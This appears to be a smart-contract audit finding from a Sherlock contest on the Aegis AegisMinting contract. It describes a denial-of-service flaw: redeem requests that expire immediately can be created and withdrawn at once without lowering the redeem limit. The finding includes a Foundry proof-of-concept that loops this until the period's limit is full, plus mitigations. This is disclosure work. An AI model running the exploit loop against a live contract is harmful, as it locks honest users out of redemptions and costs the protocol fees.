Old Tortilla Moth

High

# The redeem limit can be indefinitely filled up with dummy requests

### Summary

The `requestRedeem()` is the user entry point when retrieving back collateral in exchange for YUSD.  The contract verifies and updates the redeem limit, verifies the nonce, singer, sender, amounts and the expiry. However, the expiry is not sufficiently verified as it rejects expirations set in the past, but accepts expirations at the exact same moment the order is created or only a few moments in the future. This opens up the possibility of filling out the redeem limit indefinitely for almost 0 cost.

### Root Cause

Firstly looking at `redeemRequest()`:
https://github.com/sherlock-audit/2025-04-aegis-op-grant/blob/main/aegis-contracts/contracts/AegisMinting.sol#L277-L307
It correctly updates the redeem limit amounts. The order library verifies the addresses, amounts and timestamp:
https://github.com/sherlock-audit/2025-04-aegis-op-grant/blob/main/aegis-contracts/contracts/lib/OrderLib.sol#L68-L72
However the value of `expiry == block.timestamp` is fully allowed, which means that any redeem request that expires the moment it's created is considered valid and it gets successfully created. 
This request can be instantly withdrawn, due to the expiry being equal to `block.timestamp`, not larger than it:
https://github.com/sherlock-audit/2025-04-aegis-op-grant/blob/main/aegis-contracts/contracts/AegisMinting.sol#L377-L390

This seems harmless as we simply transfer YUSD to the contract and then receive it back. However withdrawing an expired request does not revert the redeem limit, meaning we can indefinitely fill out each period for effectively 0 cost, except for gas via either:
- A flashloan used to acquire YUSD via swaps, which YUSD we then use to fill out the entire period at once, withdraw the request, swap YUSD back and repay the flashloan
- A loop in which we: create a redeem request where `expiry == block.timestamp`, then we instantly withdraw to get our YUSD back, repeat until the period is filled out

There is a third less effective but plausible option, considering the fact that requests would not get instantly approved as they should get reviewed first, the same attack can be executed by setting the expiry of the request a few seconds in the future and front-running the approve call with a withdraw call (or just letting it expire on it's own, since the approve would not happen so fast). 
This achieves the same effect of filling the redeem limit with dummy values for no cost as we get a full YUSD refund, but it is slower and not as efficient as the above 2 atomic scenarios, which can instantly fill out the entire period.

### Internal Pre-conditions

The redeem limit is active

### External Pre-conditions

- The attacker holds YUSD to use for the loop
- If he does not, he acquires a large amount of it via flashloaning and swapping

### Attack Path

1. The attacker calls `requestRedeem()` with a valid owner from the dApp, thus the trusted signer is valid. The order expiry is set to `block.timestamp` or a few seconds in the future
2. The contract verifies the non-zero amounts, addresses, timestamp, some collateral amount that is meant to just pass the slippage check. 
3. The request is created and YUSD is locked
4. If the expiry was set to the current timestamp, the attacker can instantly withdraw his YUSD. If not, he can wait a few seconds to withdraw or for the order to expire, as it gives him a full refund
5. In case we set `expiry==block.timestamp` we repeat the attack until the redeem limit is filled

### Impact

The end users are unable to issue new redeem requests until a new period begins. Even if it does, the same attack can be repeated as it is effectively low to 0 cost, considering only gas
The protocol loses out on fees from honest requests, which are 5% per approved request by default, which is definitely more than 10$ per request
Depending on the lengths of redeem periods, the function could be DOS'ed for more than 1 week, as the periods are variable 

### PoC

The following is a 1 file all in one POC test, utilizing simplified Mock contracts to perfectly isolate and simulate the AegisMinting's redeem and withdraw flow. It showcases the scenario where we use a loop to fill out the entire redeem period, blocking an upcoming honest request:
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;

import "forge-std/Test.sol";
import "forge-std/console.sol"; // Import console for logging
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/MessageHashUtils.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";

// Mock YUSD contract
contract MockYUSD is ERC20 {
    constructor() ERC20("Mock YUSD", "MYUSD") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }

    function burn(uint256 amount) external {
        _burn(msg.sender, amount);
    }
}

// Mock AegisConfig contract
contract MockAegisConfig {
    address public trustedSigner;

    constructor(address _trustedSigner) {
        trustedSigner = _trustedSigner;
    }

    function isWhitelisted(address) external pure returns (bool) {
        return true; // All users whitelisted for simplicity
    }

    function supportsInterface(bytes4) external pure returns (bool) {
        return true; // Mock supports IAegisConfig interface
    }
}

// Mock AegisRewards contract
contract MockAegisRewards {
    function depositRewards(bytes memory, uint256) external {}
}

// Mock AegisOracle contract
contract MockAegisOracle {
    function yusdUSDPrice() external pure returns (int256) {
        return 1e18; // 1 YUSD = 1 USD
    }

    function decimals() external pure returns (uint8) {
        return 18;
    }
}

// Mock FeedRegistry contract
contract MockFeedRegistry {
    function latestRoundData(address, address) external view returns (uint80, int256, uint256, uint256, uint80) {
        return (0, 1e18, 0, block.timestamp, 0); // 1 asset = 1 USD
    }

    function decimals(address, address) external pure returns (uint8) {
        return 18;
    }
}

interface IYUSD is IERC20 {
    function mint(address to, uint256 amount) external;
    function burn(uint256 amount) external;
}

// Simplified AegisMinting contract for testing
contract AegisMinting {
    using ECDSA for bytes32;
    using MessageHashUtils for bytes32;
    using EnumerableSet for EnumerableSet.AddressSet;

    IYUSD public immutable yusd;
    MockAegisConfig public aegisConfig;
    MockAegisRewards public aegisRewards;
    MockAegisOracle public aegisOracle;
    MockFeedRegistry public feedRegistry;
    bool public redeemPaused;

    struct MintRedeemLimit {
        uint32 periodDuration;
        uint32 currentPeriodStartTime;
        uint256 maxPeriodAmount;
        uint256 currentPeriodTotalAmount;
    }

    struct RedeemRequest {
        RedeemRequestStatus status;
        OrderLib.Order order;
        uint256 timestamp;
    }

    enum RedeemRequestStatus { PENDING, APPROVED, REJECTED, WITHDRAWN }

    MintRedeemLimit public redeemLimit;
    mapping(bytes32 => RedeemRequest) private _redeemRequests;
    uint256 public totalRedeemLockedYUSD;
    mapping(address => uint256) public assetFrozenFunds;
    mapping(address => uint256) private _custodyTransferrableAssetFunds;
    EnumerableSet.AddressSet private _supportedAssets;
    mapping(address => uint32) public chainlinkAssetHeartbeat;

    constructor(
        IYUSD _yusd,
        MockAegisConfig _config,
        MockAegisRewards _rewards,
        MockAegisOracle _oracle,
        MockFeedRegistry _feedRegistry
    ) {
        yusd = _yusd;
        aegisConfig = _config;
        aegisRewards = _rewards;
        aegisOracle = _oracle;
        feedRegistry = _feedRegistry;
        redeemLimit.currentPeriodStartTime = uint32(block.timestamp);
    }

    function getDomainSeparator() public view returns (bytes32) {
        return keccak256(abi.encode(
            keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
            keccak256("AegisMinting"),
            keccak256("1"),
            block.chainid,
            address(this)
        ));
    }

    function setRedeemLimits(uint32 periodDuration, uint256 maxPeriodAmount) external {
        redeemLimit.periodDuration = periodDuration;
        redeemLimit.maxPeriodAmount = maxPeriodAmount;
    }

    function addSupportedAsset(address asset, uint32 heartbeat) external {
        if (asset == address(0) || asset == address(yusd) || !_supportedAssets.add(asset)) {
            revert("InvalidAssetAddress");
        }
        chainlinkAssetHeartbeat[asset] = heartbeat;
    }

    function requestRedeem(OrderLib.Order calldata order, bytes calldata signature) external {
        if (order.orderType != OrderLib.OrderType.REDEEM) revert("InvalidOrder");
        if (redeemPaused) revert("RedeemPaused");
        if (!aegisConfig.isWhitelisted(order.userWallet)) revert("NotWhitelisted");
        if (!_supportedAssets.contains(order.collateralAsset)) revert("InvalidAssetAddress");
        bytes32 digest = OrderLib.hashOrder(order, getDomainSeparator());
        address signer = digest.recover(signature);
        if (signer != aegisConfig.trustedSigner()) revert("InvalidSignature");
        if (block.timestamp > order.expiry) revert("SignatureExpired");
        if (order.collateralAmount == 0 || order.yusdAmount == 0) revert("InvalidAmount");
        if (order.userWallet != msg.sender) revert("InvalidSender");

        _checkMintRedeemLimit(redeemLimit, order.yusdAmount);
        string memory requestId = abi.decode(order.additionalData, (string));
        bytes32 requestHash = keccak256(abi.encode(requestId));
        if (_redeemRequests[requestHash].timestamp != 0) revert("InvalidRedeemRequest");

        // Mock price check to avoid revert on slippage
        uint256 collateralAmount = order.collateralAmount;
        if (collateralAmount < order.slippageAdjustedAmount) revert("PriceSlippage");

        _redeemRequests[requestHash] = RedeemRequest(RedeemRequestStatus.PENDING, order, block.timestamp);
        yusd.transferFrom(order.userWallet, address(this), order.yusdAmount);
        totalRedeemLockedYUSD += order.yusdAmount;
    }

    function withdrawRedeemRequest(string calldata requestId) external {
        if (redeemPaused) revert("RedeemPaused");
        bytes32 requestHash = keccak256(abi.encode(requestId));
        RedeemRequest storage request = _redeemRequests[requestHash];
        if (request.timestamp == 0 || request.status != RedeemRequestStatus.PENDING || request.order.expiry > block.timestamp)
            revert("InvalidRedeemRequest");

        request.status = RedeemRequestStatus.WITHDRAWN;
        totalRedeemLockedYUSD -= request.order.yusdAmount;
        yusd.transfer(request.order.userWallet, request.order.yusdAmount);
    }

    function _checkMintRedeemLimit(MintRedeemLimit storage limits, uint256 yusdAmount) internal {
        uint256 currentPeriodEndTime = limits.currentPeriodStartTime + limits.periodDuration;
        if (currentPeriodEndTime < block.timestamp) {
            limits.currentPeriodStartTime = uint32(block.timestamp);
            limits.currentPeriodTotalAmount = 0;
        }
        if (limits.currentPeriodTotalAmount + yusdAmount > limits.maxPeriodAmount) revert("LimitReached");
        limits.currentPeriodTotalAmount += yusdAmount;
    }
}

library OrderLib {
    enum OrderType {
        MINT,
        REDEEM,
        DEPOSIT_INCOME
    }

    struct Order {
        OrderType orderType;
        address userWallet;
        address collateralAsset;
        uint256 collateralAmount;
        uint256 yusdAmount;
        uint256 slippageAdjustedAmount;
        uint256 expiry;
        uint256 nonce;
        bytes additionalData;
    }

    bytes32 private constant ORDER_TYPE =
        keccak256(
            "Order(uint8 orderType,address userWallet,address collateralAsset,uint256 collateralAmount,uint256 yusdAmount,uint256 slippageAdjustedAmount,uint256 expiry,uint256 nonce,bytes additionalData)"
        );

    function hashOrder(Order memory order, bytes32 domainSeparator) internal pure returns (bytes32) {
        return MessageHashUtils.toTypedDataHash(domainSeparator, keccak256(encodeOrder(order)));
    }

    function encodeOrder(Order memory order) internal pure returns (bytes memory) {
        return abi.encode(
            ORDER_TYPE,
            order.orderType,
            order.userWallet,
            order.collateralAsset,
            order.collateralAmount,
            order.yusdAmount,
            order.slippageAdjustedAmount,
            order.expiry,
            order.nonce,
            keccak256(order.additionalData)
        );
    }
}

contract AegisExploitTest is Test {
    AegisMinting minting;
    MockYUSD yusd;
    MockAegisConfig config;
    MockAegisRewards rewards;
    MockAegisOracle oracle;
    MockFeedRegistry feedRegistry;
    address attacker = address(0x1); // Real attacker address
    address legitUser = address(0x2); // Real legitimate user address
    address trustedSigner;
    uint256 privateKey = 1; // Dummy private key for trusted signer
    address collateralAsset = address(0x1234567890123456789012345678901234567890); // Dummy asset address
    uint256 redeemLimitAmount = 1000 ether;
    uint32 redeemPeriodDuration = 1 days;

    function setUp() public {
        // Deploy mock contracts
        yusd = new MockYUSD();
        trustedSigner = vm.addr(privateKey);
        config = new MockAegisConfig(trustedSigner);
        rewards = new MockAegisRewards();
        oracle = new MockAegisOracle();
        feedRegistry = new MockFeedRegistry();

        // Deploy AegisMinting with mock dependencies
        minting = new AegisMinting(
            IYUSD(address(yusd)),
            config,
            rewards,
            oracle,
            feedRegistry
        );

        // Add collateral asset as supported
        minting.addSupportedAsset(collateralAsset, 3600); // 1 hour heartbeat

        // Configure redeem limit
        minting.setRedeemLimits(redeemPeriodDuration, redeemLimitAmount);

        // Fund attacker with YUSD
        yusd.mint(attacker, 10000 ether);
        vm.prank(attacker);
        yusd.approve(address(minting), type(uint256).max);

        // Fund legit user with YUSD
        yusd.mint(legitUser, 100 ether);
        vm.prank(legitUser);
        yusd.approve(address(minting), type(uint256).max);
    }

    function testExploit() public {
        console.log("Starting exploit test...");
        vm.startPrank(attacker);

        uint256 initialYUSDBalance = yusd.balanceOf(attacker);
        console.log("Initial attacker YUSD balance:", initialYUSDBalance);

        uint256 redeemAmountPerRequest = 100 ether;
        uint256 numRequests = redeemLimitAmount / redeemAmountPerRequest;
        console.log("Number of requests to fill limit:", numRequests);

        for (uint256 i = 0; i < numRequests; i++) {
            string memory requestId = string(abi.encodePacked("exploit-", vm.toString(i)));
            console.log("Creating redeem request:", i, "with ID:", requestId);

            OrderLib.Order memory order = OrderLib.Order({
                orderType: OrderLib.OrderType.REDEEM,
                userWallet: attacker,
                collateralAsset: collateralAsset,
                collateralAmount: 100 ether,
                yusdAmount: redeemAmountPerRequest,
                slippageAdjustedAmount: 95 ether,
                expiry: block.timestamp,
                nonce: i,
                additionalData: abi.encode(requestId)
            });

            bytes32 digest = OrderLib.hashOrder(order, minting.getDomainSeparator());
            (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, digest);
            bytes memory signature = abi.encodePacked(r, s, v);

            minting.requestRedeem(order, signature);
            console.log("Redeem request created for ID:", requestId);

            minting.withdrawRedeemRequest(requestId);
            console.log("Redeem request withdrawn for ID:", requestId);
        }

        // Verify redeem limit is filled
        (
            uint32 periodDuration,
            uint32 currentPeriodStartTime,
            uint256 maxPeriodAmount,
            uint256 currentPeriodTotalAmount
        ) = minting.redeemLimit();
        console.log("Redeem limit details:");
        console.log("  Period duration:", periodDuration);
        console.log("  Current period start time:", currentPeriodStartTime);
        console.log("  Max period amount:", maxPeriodAmount);
        console.log("  Current period total amount:", currentPeriodTotalAmount);
        assertEq(currentPeriodTotalAmount, redeemLimitAmount, "Redeem limit not filled");

        uint256 finalYUSDBalance = yusd.balanceOf(attacker);
        console.log("Final attacker YUSD balance:", finalYUSDBalance);
        assertEq(finalYUSDBalance, initialYUSDBalance, "Attacker lost YUSD");

        // Simulate legitimate user being blocked
        console.log("Simulating legitimate user attempt...");
        vm.startPrank(legitUser);
        OrderLib.Order memory legitOrder = OrderLib.Order({
            orderType: OrderLib.OrderType.REDEEM,
            userWallet: legitUser,
            collateralAsset: collateralAsset,
            collateralAmount: 100 ether,
            yusdAmount: 100 ether,
            slippageAdjustedAmount: 95 ether,
            expiry: block.timestamp + 1 hours,
            nonce: 999,
            additionalData: abi.encode("legit-request")
        });
        bytes32 legitDigest = OrderLib.hashOrder(legitOrder, minting.getDomainSeparator());
        (uint8 legitV, bytes32 legitR, bytes32 legitS) = vm.sign(privateKey, legitDigest);
        bytes memory legitSignature = abi.encodePacked(legitR, legitS, legitV);
        vm.expectRevert("LimitReached");
        minting.requestRedeem(legitOrder, legitSignature);
        console.log("Legitimate user redeem request blocked as expected.");
        vm.stopPrank();

        console.log("Exploit test completed successfully.");
    }
}
```


### Mitigation

There are several changes needed to make sure the issue is mitigated:
- disallow the expiry of requests to be at the exact timestamp of their creation, so: `if (block.timestamp >= self.expiry)`
- charge a fee on the YUSD sent when the request is created, not when it is approved, to increase the cost of the attack
- when a request is rejected/withdrawn, revert the redeem limit to reflect amounts only from approved requests